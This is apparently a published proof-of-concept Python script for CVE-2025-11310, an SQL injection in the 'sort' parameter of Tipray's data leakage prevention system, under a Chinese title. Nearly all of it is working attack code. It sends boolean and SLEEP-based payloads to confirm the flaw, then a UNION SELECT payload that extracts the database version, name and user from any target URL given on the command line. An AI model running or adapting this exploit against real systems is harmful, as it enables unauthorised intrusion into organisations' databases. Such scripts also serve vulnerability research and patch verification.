CVE-2025-11310：天锐数据泄露防护系统SQL注入漏洞

# CVE-2025-11310 - Tipray Data Leakage Prevention System SQL Injection PoC # Vulnerability: SQL Injection via 'sort' parameter in findFileServerPage.do # Author: FightingLzn9 import requests import sys TARGET_URL = "http://target.com" INJECTION_PATH = "/findFileServerPage.do" def check_sql_injection(target_url): """Detect SQL injection vulnerability in sort parameter""" # Normal request normal_params = { "page": "1", "rows": "10", "sort": "id" } # Malicious payload - test for boolean-based SQL injection malicious_params = { "page": "1", "rows": "10", "sort": "id AND 1=1" } # Time-based blind SQL injection payload time_payload = { "page": "1", "rows": "10", "sort": "id AND SLEEP(5)" } try: # Send normal request normal_resp = requests.get( target_url + INJECTION_PATH, params=normal_params, timeout=10 ) # Send malicious request malicious_resp = requests.get( target_url + INJECTION_PATH, params=malicious_params, timeout=10 ) # Time-based detection time_resp = requests.get( target_url + INJECTION_PATH, params=time_payload, timeout=15 ) if time_resp.elapsed.total_seconds() >= 5: print("[+] Target is vulnerable to time-based SQL injection!") print(f"[+] Response time: {time_resp.elapsed.total_seconds()}s") return True if normal_resp.text != malicious_resp.text: print("[+] Target may be vulnerable to boolean-based SQL injection!") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return False def exploit_sql_injection(target_url): """Exploit SQL injection to extract database information""" # UNION-based injection to extract database version union_payload = { "page": "1", "rows": "10", "sort": "id UNION SELECT 1,version(),database(),user(),5,6,7,8,9,10--" } try: resp = requests.get( target_url + INJECTION_PATH, params=union_payload, timeout=10 ) print(f"[+] Response:\n{resp.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Testing target: {TARGET_URL}") if check_sql_injection(TARGET_URL): print("[*] Attempting to exploit...") exploit_sql_injection(TARGET_URL) else: print("[-] Target does not appear to be vulnerable")